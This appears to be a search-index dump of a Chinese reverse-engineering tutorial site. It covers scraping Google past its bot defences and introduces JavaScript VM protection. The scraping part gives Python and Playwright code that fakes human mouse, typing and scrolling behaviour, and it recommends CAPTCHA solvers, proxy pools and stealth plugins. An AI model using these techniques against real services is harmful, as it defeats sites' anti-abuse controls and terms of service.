'0', # Disable personalization 'gl': 'us', # Geo-location: US 'hl': 'en', # Language: English 'num': 100 # Results per page } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept-Language': 'en-US,en;q=0.9', 'Accept': 'text/html,application/xhtml+xml', # 不发送 Cookie（避免个性化） } response = self.session.get(url, params=params, headers=headers) return self.parse_results(response.text) def parse_results(self, html): \"\"\"解析搜索结果\"\"\" from bs4 import BeautifulSoup soup = BeautifulSoup(html, 'html.parser') results = [] # 查找所有搜索结果 for index, item in enumerate(soup.select('.g'), start=1): title_elem = item.select_one('h3') link_elem = item.select_one('a') if title_elem and link_elem: url = link_elem.get('href', '') results.append({ 'rank': index, 'title': title_elem.get_text(), 'url': url, 'domain': self.extract_domain(url) }) return results def extract_domain(self, url): \"\"\"提取域名\"\"\" from urllib.parse import urlparse parsed = urlparse(url) return parsed.netloc def track_keyword_ranking(self, keyword, target_domain): \"\"\"追踪关键词排名\"\"\" results = self.google_unbiased_search(keyword) for result in results: if target_domain in result['domain']: return result['rank'] return None # 未进入前 100 # 使用示例 monitor = UnbiasedSearchMonitor() ranking = monitor.track_keyword_ranking( keyword='web scraping tutorial', target_domain='example.com' ) print(f\"Current ranking: {ranking if ranking else 'Not in top 100'}\") 2. 批量排名监控 import asyncio import aiohttp from typing import List, Dict class BatchRankingMonitor: def __init__(self, keywords: List[str], target_domain: str): self.keywords = keywords self.target_domain = target_domain async def check_ranking(self, session, keyword): \"\"\"异步检查单个关键词排名\"\"\" url = 'https://www.google.com/search' params = { 'q': keyword, 'pws': '0', 'gl': 'us', 'num': 100 } async with session.get(url, params=params) as response: html = await response.text() # 简单解析（实际应使用 BeautifulSoup） if self.target_domain in html: # 计算排名（简化版本） rank = html.index(self.target_domain) // 1000 # 粗略估算 return {'keyword': keyword, 'rank': rank} else: return {'keyword': keyword, 'rank': None} async def check_all(self): \"\"\"批量检查所有关键词\"\"\" async with aiohttp.ClientSession() as session: tasks = [ self.check_ranking(session, kw) for kw in self.keywords ] results = await asyncio.gather(*tasks) return results # 使用示例 async def main(): keywords = [ 'python tutorial', 'web scraping', 'data analysis', 'machine learning' ] monitor = BatchRankingMonitor(keywords, 'example.com') results = await monitor.check_all() for result in results: print(f\"{result['keyword']}: Rank {result['rank']}\") asyncio.run(main()) ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:5:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#解决方案-1"},{"categories":null,"collections":null,"content":"解决方案 1. 禁用个性化 class UnbiasedSearchMonitor: def __init__(self): self.session = requests.Session() def google_unbiased_search(self, query): \"\"\"获取非个性化的 Google 搜索结果\"\"\" url = 'https://www.google.com/search' # 使用特殊参数禁用个性化 params = { 'q': query, 'pws': '0', # Disable personalization 'gl': 'us', # Geo-location: US 'hl': 'en', # Language: English 'num': 100 # Results per page } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept-Language': 'en-US,en;q=0.9', 'Accept': 'text/html,application/xhtml+xml', # 不发送 Cookie（避免个性化） } response = self.session.get(url, params=params, headers=headers) return self.parse_results(response.text) def parse_results(self, html): \"\"\"解析搜索结果\"\"\" from bs4 import BeautifulSoup soup = BeautifulSoup(html, 'html.parser') results = [] # 查找所有搜索结果 for index, item in enumerate(soup.select('.g'), start=1): title_elem = item.select_one('h3') link_elem = item.select_one('a') if title_elem and link_elem: url = link_elem.get('href', '') results.append({ 'rank': index, 'title': title_elem.get_text(), 'url': url, 'domain': self.extract_domain(url) }) return results def extract_domain(self, url): \"\"\"提取域名\"\"\" from urllib.parse import urlparse parsed = urlparse(url) return parsed.netloc def track_keyword_ranking(self, keyword, target_domain): \"\"\"追踪关键词排名\"\"\" results = self.google_unbiased_search(keyword) for result in results: if target_domain in result['domain']: return result['rank'] return None # 未进入前 100 # 使用示例 monitor = UnbiasedSearchMonitor() ranking = monitor.track_keyword_ranking( keyword='web scraping tutorial', target_domain='example.com' ) print(f\"Current ranking: {ranking if ranking else 'Not in top 100'}\") 2. 批量排名监控 import asyncio import aiohttp from typing import List, Dict class BatchRankingMonitor: def __init__(self, keywords: List[str], target_domain: str): self.keywords = keywords self.target_domain = target_domain async def check_ranking(self, session, keyword): \"\"\"异步检查单个关键词排名\"\"\" url = 'https://www.google.com/search' params = { 'q': keyword, 'pws': '0', 'gl': 'us', 'num': 100 } async with session.get(url, params=params) as response: html = await response.text() # 简单解析（实际应使用 BeautifulSoup） if self.target_domain in html: # 计算排名（简化版本） rank = html.index(self.target_domain) // 1000 # 粗略估算 return {'keyword': keyword, 'rank': rank} else: return {'keyword': keyword, 'rank': None} async def check_all(self): \"\"\"批量检查所有关键词\"\"\" async with aiohttp.ClientSession() as session: tasks = [ self.check_ranking(session, kw) for kw in self.keywords ] results = await asyncio.gather(*tasks) return results # 使用示例 async def main(): keywords = [ 'python tutorial', 'web scraping', 'data analysis', 'machine learning' ] monitor = BatchRankingMonitor(keywords, 'example.com') results = await monitor.check_all() for result in results: print(f\"{result['keyword']}: Rank {result['rank']}\") asyncio.run(main()) ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:5:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#1-禁用个性化"},{"categories":null,"collections":null,"content":"解决方案 1. 禁用个性化 class UnbiasedSearchMonitor: def __init__(self): self.session = requests.Session() def google_unbiased_search(self, query): \"\"\"获取非个性化的 Google 搜索结果\"\"\" url = 'https://www.google.com/search' # 使用特殊参数禁用个性化 params = { 'q': query, 'pws': '0', # Disable personalization 'gl': 'us', # Geo-location: US 'hl': 'en', # Language: English 'num': 100 # Results per page } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept-Language': 'en-US,en;q=0.9', 'Accept': 'text/html,application/xhtml+xml', # 不发送 Cookie（避免个性化） } response = self.session.get(url, params=params, headers=headers) return self.parse_results(response.text) def parse_results(self, html): \"\"\"解析搜索结果\"\"\" from bs4 import BeautifulSoup soup = BeautifulSoup(html, 'html.parser') results = [] # 查找所有搜索结果 for index, item in enumerate(soup.select('.g'), start=1): title_elem = item.select_one('h3') link_elem = item.select_one('a') if title_elem and link_elem: url = link_elem.get('href', '') results.append({ 'rank': index, 'title': title_elem.get_text(), 'url': url, 'domain': self.extract_domain(url) }) return results def extract_domain(self, url): \"\"\"提取域名\"\"\" from urllib.parse import urlparse parsed = urlparse(url) return parsed.netloc def track_keyword_ranking(self, keyword, target_domain): \"\"\"追踪关键词排名\"\"\" results = self.google_unbiased_search(keyword) for result in results: if target_domain in result['domain']: return result['rank'] return None # 未进入前 100 # 使用示例 monitor = UnbiasedSearchMonitor() ranking = monitor.track_keyword_ranking( keyword='web scraping tutorial', target_domain='example.com' ) print(f\"Current ranking: {ranking if ranking else 'Not in top 100'}\") 2. 批量排名监控 import asyncio import aiohttp from typing import List, Dict class BatchRankingMonitor: def __init__(self, keywords: List[str], target_domain: str): self.keywords = keywords self.target_domain = target_domain async def check_ranking(self, session, keyword): \"\"\"异步检查单个关键词排名\"\"\" url = 'https://www.google.com/search' params = { 'q': keyword, 'pws': '0', 'gl': 'us', 'num': 100 } async with session.get(url, params=params) as response: html = await response.text() # 简单解析（实际应使用 BeautifulSoup） if self.target_domain in html: # 计算排名（简化版本） rank = html.index(self.target_domain) // 1000 # 粗略估算 return {'keyword': keyword, 'rank': rank} else: return {'keyword': keyword, 'rank': None} async def check_all(self): \"\"\"批量检查所有关键词\"\"\" async with aiohttp.ClientSession() as session: tasks = [ self.check_ranking(session, kw) for kw in self.keywords ] results = await asyncio.gather(*tasks) return results # 使用示例 async def main(): keywords = [ 'python tutorial', 'web scraping', 'data analysis', 'machine learning' ] monitor = BatchRankingMonitor(keywords, 'example.com') results = await monitor.check_all() for result in results: print(f\"{result['keyword']}: Rank {result['rank']}\") asyncio.run(main()) ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:5:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#2-批量排名监控"},{"categories":null,"collections":null,"content":"案例 5: 行为检测与规避 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:6:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#案例-5-行为检测与规避"},{"categories":null,"collections":null,"content":"背景 搜索引擎使用机器学习分析用户行为，检测爬虫。 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:6:1","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#背景-4"},{"categories":null,"collections":null,"content":"检测指标 鼠标轨迹: 真实用户有不规则的鼠标移动 键盘输入: 真实用户有输入延迟和错误 滚动模式: 真实用户滚动不均匀 点击模式: 真实用户有犹豫、回退 浏览历史: 真实用户有跨页面浏览 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:6:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#检测指标"},{"categories":null,"collections":null,"content":"对抗策略 from playwright.sync_api import sync_playwright import random import time import numpy as np class HumanBehaviorSimulator: def __init__(self): self.playwright = None self.browser = None self.page = None def setup(self): \"\"\"初始化\"\"\" self.playwright = sync_playwright().start() self.browser = self.playwright.chromium.launch(headless=False) self.page = self.browser.new_page() def human_mouse_move(self, from_x, from_y, to_x, to_y): \"\"\"模拟人类鼠标轨迹（贝塞尔曲线）\"\"\" steps = random.randint(20, 40) # 控制点（随机偏移） cp1_x = from_x + (to_x - from_x) * random.uniform(0.2, 0.4) + random.uniform(-50, 50) cp1_y = from_y + (to_y - from_y) * random.uniform(0.2, 0.4) + random.uniform(-50, 50) cp2_x = from_x + (to_x - from_x) * random.uniform(0.6, 0.8) + random.uniform(-50, 50) cp2_y = from_y + (to_y - from_y) * random.uniform(0.6, 0.8) + random.uniform(-50, 50) for i in range(steps + 1): t = i / steps # 三次贝塞尔曲线 x = (1-t)**3 * from_x + \\ 3*(1-t)**2*t * cp1_x + \\ 3*(1-t)*t**2 * cp2_x + \\ t**3 * to_x y = (1-t)**3 * from_y + \\ 3*(1-t)**2*t * cp1_y + \\ 3*(1-t)*t**2 * cp2_y + \\ t**3 * to_y self.page.mouse.move(x, y) time.sleep(random.uniform(0.005, 0.02)) def human_typing(self, text, element_selector): \"\"\"模拟人类打字（带延迟和错误）\"\"\" element = self.page.query_selector(element_selector) for char in text: # 随机延迟 delay = random.gauss(0.15, 0.05) # 平均 150ms time.sleep(max(0.05, delay)) # 偶尔打错字 if random.random() \u003c 0.05: wrong_char = random.choice('abcdefghijklmnopqrstuvwxyz') element.type(wrong_char) time.sleep(random.uniform(0.1, 0.3)) # 删除错字 self.page.keyboard.press('Backspace') time.sleep(random.uniform(0.05, 0.15)) element.type(char) def human_scroll(self, target_y): \"\"\"模拟人类滚动\"\"\" current_y = self.page.evaluate('window.pageYOffset') distance = target_y - current_y steps = random.randint(10, 20) for i in range(steps): # 加速 -\u003e 减速 if i \u003c steps / 2: # 加速阶段 scroll_amount = distance / steps * (i + 1) / (steps / 2) else: # 减速阶段 scroll_amount = distance / steps * (steps - i) / (steps / 2) self.page.evaluate(f'window.scrollBy(0, {scroll_amount})') time.sleep(random.uniform(0.02, 0.05)) # 偶尔向上微调 if random.random() \u003c 0.3: self.page.evaluate('window.scrollBy(0, -50)') time.sleep(random.uniform(0.1, 0.3)) def human_search(self, query): \"\"\"模拟人类搜索行为\"\"\" # 访问首页 self.page.goto('https://www.google.com') time.sleep(random.uniform(0.5, 1.5)) # 移动鼠标到搜索框 search_box = self.page.query_selector('input[name=\"q\"]') box_position = search_box.bounding_box() # 从随机位置移动到搜索框 self.human_mouse_move( random.randint(100, 500), random.randint(100, 400), box_position['x'] + box_position['width'] / 2, box_position['y'] + box_position['height'] / 2 ) # 点击搜索框 search_box.click() time.sleep(random.uniform(0.2, 0.5)) # 人类化打字 self.human_typing(query, 'input[name=\"q\"]') # 随机选择提交方式 if random.random() \u003c 0.7: # 70% 按回车 self.page.keyboard.press('Enter') else: # 30% 点击搜索按钮 search_button = self.page.query_selector('input[name=\"btnK\"]') if search_button: search_button.click() # 等待结果 self.page.wait_for_selector('#search') time.sleep(random.uniform(1.0, 2.0)) # 模拟浏览结果（滚动、阅读） self.human_scroll(random.randint(500, 1500)) time.sleep(random.uniform(2.0, 4.0)) # 提取结果 results = [] items = self.page.query_selector_all('.g') for item in items: try: title = item.query_selector('h3').inner_text() url = item.query_selector('a').get_attribute('href') results.append({'title': title, 'url': url}) except: continue return results def cleanup(self): \"\"\"清理\"\"\" if self.browser: self.browser.close() if self.playwright: self.playwright.stop() # 使用示例 simulator = HumanBehaviorSimulator() simulator.setup() try: results = simulator.human_search('python web scraping') print(f\"Found {len(results)} results\") for result in results[:5]: print(f\"- {result['title']}\") finally: simulator.cleanup() ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:6:3","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#对抗策略"},{"categories":null,"collections":null,"content":"防护与对抗总结 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:7:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#防护与对抗总结"},{"categories":null,"collections":null,"content":"搜索引擎防护 CAPTCHA: reCAPTCHA v2/v3, hCaptcha 频率限制: IP、Cookie、User-Agent 行为分析: 鼠标轨迹、打字模式、浏览历史 设备指纹: Canvas、WebGL、Audio TLS 指纹: JA3/JA3S 检测 API 签名: 时间戳 + 密钥验证 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:7:1","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#搜索引擎防护"},{"categories":null,"collections":null,"content":"对抗策略 CAPTCHA 求解: 第三方服务、机器学习 IP 轮换: 代理池、住宅代理 行为模拟: 鼠标轨迹、人类化延迟 浏览器指纹伪造: Playwright Stealth API 逆向: 发现隐藏接口 分布式爬取: 多账号、多地域 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:7:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#对抗策略-1"},{"categories":null,"collections":null,"content":"法律与道德声明 本文仅用于技术研究和教育目的。未经授权爬取搜索引擎可能违反: 服务条款 (ToS) 计算机欺诈和滥用法 (CFAA) 各国反爬虫法律 请仅在授权环境下进行测试，尊重搜索引擎的 robots.txt。 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:8:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#法律与道德声明"},{"categories":null,"collections":null,"content":"工具推荐 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:9:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#工具推荐"},{"categories":null,"collections":null,"content":"爬虫框架 Scrapy: Python 爬虫框架 Playwright: 现代浏览器自动化 Puppeteer: Node.js 浏览器控制 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:9:1","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#爬虫框架"},{"categories":null,"collections":null,"content":"代理服务 Bright Data: 住宅代理池 Oxylabs: 企业级代理 SmartProxy: 低成本选择 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:9:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#代理服务"},{"categories":null,"collections":null,"content":"CAPTCHA 求解 2Captcha: 人工求解服务 Anti-Captcha: 自动识别 CapSolver: AI 识别 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:9:3","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#captcha-求解"},{"categories":null,"collections":null,"content":"反检测 undetected-chromedriver: 反 Selenium 检测 playwright-stealth: Playwright 隐身 puppeteer-extra-plugin-stealth: Puppeteer 隐身 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:9:4","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#反检测"},{"categories":null,"collections":null,"content":"相关章节 浏览器 DevTools 使用 Hook 技术 浏览器指纹识别 TLS 指纹识别 CAPTCHA 识别与绕过 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:10:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#相关章节"},{"categories":null,"collections":null,"content":"JavaScript 虚拟机保护 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:0:0","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#javascript-虚拟机保护"},{"categories":null,"collections":null,"content":"概述 JavaScript 虚拟机保护（JSVMP, Virtual Machine based code Protection for JavaScript）是一种高级的前端代码保护技术，通过将 JavaScript 源代码转换为自定义字节码，并使用专门的解释器执行，从而有效隐藏原始业务逻辑，增加逆向分析难度。 JSVMP 概念最早由西北大学 2015 级硕士研究生匡凯元在其 2018 年的论文《基于 WebAssembly 的 JavaScript 代码虚拟化保护方法研究与实现》中提出。 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:1:0","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#概述"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 JavaScript 反混淆 必需 JavaScript 反混淆 JavaScript 执行机制 必需 JavaScript 执行机制 V8 引擎工具 必需 V8 工具 AST 工具 推荐 AST 工具 调试技巧 推荐 调试技巧与断点设置 ⚠️ 难度警告: JSVMP 是目前最复杂的 JavaScript 保护技术之一，逆向难度极高。建议在熟练掌握常规混淆还原技术后再挑战本配方。 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:2:0","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#-前置知识"},{"categories":null,"collections":null,"content":"基础概念 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:3:0","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#基础概念"},{"categories":null,"collections":null,"content":"定义 JSVMP（JavaScript Virtual Machine Protection）是一种 JavaScript 代码虚拟化保护方案。其核心思想是将代码虚拟化引入 JavaScript 代码保护中，将目标 JS 代码转换为只有特殊解释器才能识别的自定义字节码，隐藏目标代码的关键逻辑。 与传统的混淆、加密等保护方式不同，JSVMP 通过虚拟化技术从根本上改变了代码的执行方式。 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:3:1","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#定义"},{"categories":null,"collections":null,"content":"核心原理 JSVMP 的工作流程包括以下几个关键步骤： 词法分析 → 语法分析 → AST 生成：解析原始 JavaScript 代码生成抽象语法树 私有指令生成：基于 AST 实现不同的虚拟化策略，将高级语法拆分为具有原子操作特性的中间代码 字节码编码：将中间代码映射到虚拟指令并编码成字节码 私有解释器生成：生成能够执行自定义字节码的虚拟机解释器 整个过程将原始代码转换为失去文本语法属性的字节码，使得逆向分析变得极其困难。 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:3:2","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#核心原理"},{"categories":null,"collections":null,"content":"详细内容 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:4:0","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#详细内容"},{"categories":null,"collections":null,"content":"虚拟机架构 JSVMP 的保护结构主要由两部分组成： graph TB subgraph Source[\"原始 JavaScript 代码\"] JS[JavaScript 源代码━━━━━━━━function encrypt(data) { return hash(data);}] end subgraph Compiler[\"编译阶段（离线）\"] Lexer[词法分析器Tokenizer] Parser[语法分析器Parser] AST[抽象语法树AST] IRGen[中间代码生成IR Generator] BytecodeGen[字节码生成Bytecode Generator] JS --\u003e Lexer --\u003e Parser --\u003e AST AST --\u003e IRGen IRGen --\u003e BytecodeGen end subgraph Output[\"输出产物\"] Bytecode[自定义字节码━━━━━━━━0x01 0x42 0x3A ...操作码序列] ConstPool[常量池━━━━━━━━• 数字常量• 字符串表• 函数引用] VMCode[VM 解释器━━━━━━━━• WebAssembly• 混淆的 JS] end BytecodeGen --\u003e Bytecode BytecodeGen --\u003e ConstPool BytecodeGen --\u003e VMCode subgraph Runtime[\"运行时执行\"] VMInit[VM 初始化━━━━━━━━• 创建上下文• 加载字节码• 初始化常量池] VMContext[VM 上下文━━━━━━━━• 虚拟栈• 局部变量表• PC 寄存器] Dispatcher[指令分发器━━━━━━━━• 读取操作码• 路由到 Handler] Handlers[指令处理器集合━━━━━━━━• Handler_PUSH• Handler_ADD• Handler_CALL• Handler_JMP• ...] VMExit[VM 退出━━━━━━━━• 返回结果• 清理资源] VMInit --\u003e VMContext VMContext --\u003e Dispatcher Dispatcher --\u003e Handlers Handlers --\u003e Dispatcher Dispatcher --\u003e VMExit end Bytecode -.加载.-\u003e VMInit ConstPool -.加载.-\u003e VMInit VMCode -.执行.-\u003e Runtime style JS fill:#e1f5ff style Bytecode fill:#f5a623 style VMCode fill:#bd10e0 style Dispatcher fill:#4a90e2 graph TB subgraph Source[\"原始 JavaScript 代码\"] JS[JavaScript 源代码━━━━━━━━function encrypt(data) { return hash(data);}] end subgraph Compiler[\"编译阶段（离线）\"] Lexer[词法分析器Tokenizer] Parser[语法分析器Parser] AST[抽象语法树AST] IRGen[中间代码生成IR Generator] BytecodeGen[字节码生成Bytecode Generator] JS --\u003e Lexer --\u003e Parser --\u003e AST AST --\u003e IRGen IRGen --\u003e BytecodeGen end subgraph Output[\"输出产物\"] Bytecode[自定义字节码━━━━━━━━0x01 0x42 0x3A ...操作码序列] ConstPool[常量池━━━━━━━━• 数字常量• 字符串表• 函数引用] VMCode[VM 解释器━━━━━━━━• WebAssembly• 混淆的 JS] end BytecodeGen --\u003e Bytecode BytecodeGen --\u003e ConstPool BytecodeGen --\u003e VMCode subgraph Runtime[\"运行时执行\"] VMInit[VM 初始化━━━━━━━━• 创建上下文• 加载字节码• 初始化常量池] VMContext[VM 上下文━━━━━━━━• 虚拟栈• 局部变量表• PC 寄存器] Dispatcher[指令分发器━━━━━━━━• 读取操作码• 路由到 Handler] Handlers[指令处理器集合━━━━━━━━• Handler_PUSH• Handler_ADD• Handler_CALL• Handler_JMP• ...] VMExit[VM 退出━━━━━━━━• 返回结果• 清理资源] VMInit --\u003e VMContext VMContext --\u003e Dispatcher Dispatcher --\u003e Handlers Handlers --\u003e Dispatcher Dispatcher --\u003e VMExit end Bytecode -.加载.-\u003e VMInit ConstPool -.加载.-\u003e VMInit VMCode -.执行.-\u003e Runtime style JS fill:#e1f5ff style Bytecode fill:#f5a623 style VMCode fill:#bd10e0 style Dispatcher fill:#4a90e2 graph TB subgraph Source[\"原始 JavaScript 代码\"] JS[JavaScript 源代码━━━━━━━━function encrypt(data) { return hash(data);}] end subgraph Compiler[\"编译阶段（离线）\"] Lexer[词法分析器Tokenizer] Parser[语法分析器Parser] AST[抽象语法树AST] IRGen[中间代码生成IR Generator] BytecodeGen[字节码生成Bytecode Generator] JS --\u003e Lexer --\u003e Parser --\u003e AST AST --\u003e IRGen IRGen --\u003e BytecodeGen end subgraph Output[\"输出产物\"] Bytecode[自定义字节码━━━━━━━━0x01 0x42 0x3A ...操作码序列] ConstPool[常量池━━━━━━━━• 数字常量• 字符串表• 函数引用] VMCode[VM 解释器━━━━━━━━• WebAssembly• 混淆的 JS] end BytecodeGen --\u003e Bytecode BytecodeGen --\u003e ConstPool BytecodeGen --\u003e VMCode subgraph Runtime[\"运行时执行\"] VMInit[VM 初始化━━━━━━━━• 创建上下文• 加载字节码• 初始化常量池] VMContext[VM 上下文━━━━━━━━• 虚拟栈• 局部变量表• PC 寄存器] Dispatcher[指令分发器━━━━━━━━• 读取操作码• 路由到 Handler] Handlers[指令处理器集合━━━━━━━━• Handler_PUSH• Handler_ADD• Handler_CALL• Handler_JMP• ...] VMExit[VM 退出━━━━━━━━• 返回结果• 清理资源] VMInit --\u003e VMContext VMContext --\u003e Dispatcher Dispatcher --\u003e Handlers Handlers --\u003e Dispatcher Dispatcher --\u003e VMExit end Bytecode -.加载.-\u003e VMInit ConstPool -.加载.-\u003e VMInit VMCode -.执行.-\u003e Runtime style JS fill:#e1f5ff style Bytecode fill:#f5a623 style VMCode fill:#bd10e0 style Dispatcher fill:#4a90e2 graph TB subgraph Source[\"原始 JavaScript 代码\"] JS[JavaScript 源代码━━━━━━━━function encrypt(data) { return hash(data);}] end subgraph Compiler[\"编译阶段（离线）\"] Lexer[词法分析器Tokenizer] Parser[语法分析器Parser] AST[抽象语法树AST] IRGen[中间代码生成IR Generator] BytecodeGen[字节码生成Bytecode Generator] JS --\u003e Lexer --\u003e Parser --\u003e AST AST --\u003e IRGen IRGen --\u003e BytecodeGen end subgraph Output[\"输出产物\"] Bytecode[自定义字节码━━━━━━━━0x01 0x42 0x3A ...操作码序列] ConstPool[常量池━━━━━━━━• 数字常量• 字符串表• 函数引用] VMCode[VM 解释器━━━━━━━━• WebAssembly• 混淆的 JS] end Byt","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:4:1","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#虚拟机架构"},{"categories":null,"collections":null,"content":"基于 WebAssembly 的实现 为了进一步增强保护强度，现代 JSVMP 解释器通常基于 WebAssembly 实现： 核心逻辑使用 C/C++ 编写 通过 Emscripten 框架编译为 WebAssembly 二进制格式 在浏览器中无法直接读取源代码 执行性能优于纯 JavaScript 实现 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:4:2","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#基于-webassembly-的实现"},{"categories":null,"collections":null,"content":"代码虚拟化策略 针对不同类型的目标代码，JSVMP 实现了不同的虚拟化策略： 指令拆分 将 JavaScript 代码转换为具有原子操作特性的中间代码 模拟本地执行环境 自定义虚拟指令集 将中间代码映射到虚拟指令 编码为自定义字节码格式 字符串和属性替换 将属性名和字符串替换为数组元素索引 进一步隐藏代码语义 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:4:3","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#代码虚拟化策略"},{"categories":null,"collections":null,"content":"相比传统保护的优势 保护方式 可绕过性 安全性 代码混淆 可通过 AST 还原 低 代码加密 可通过 Hook 获取解密后代码 中 反调试 可移除反调试代码 低 JSVMP 移除解释器会导致功能完全丧失 高 JSVMP 将目标代码转换为自定义字节码，破坏了文本语法属性，隐藏了关键逻辑。与反调试或加密等可以通过移除保护结构来绕过的方法不同，移除 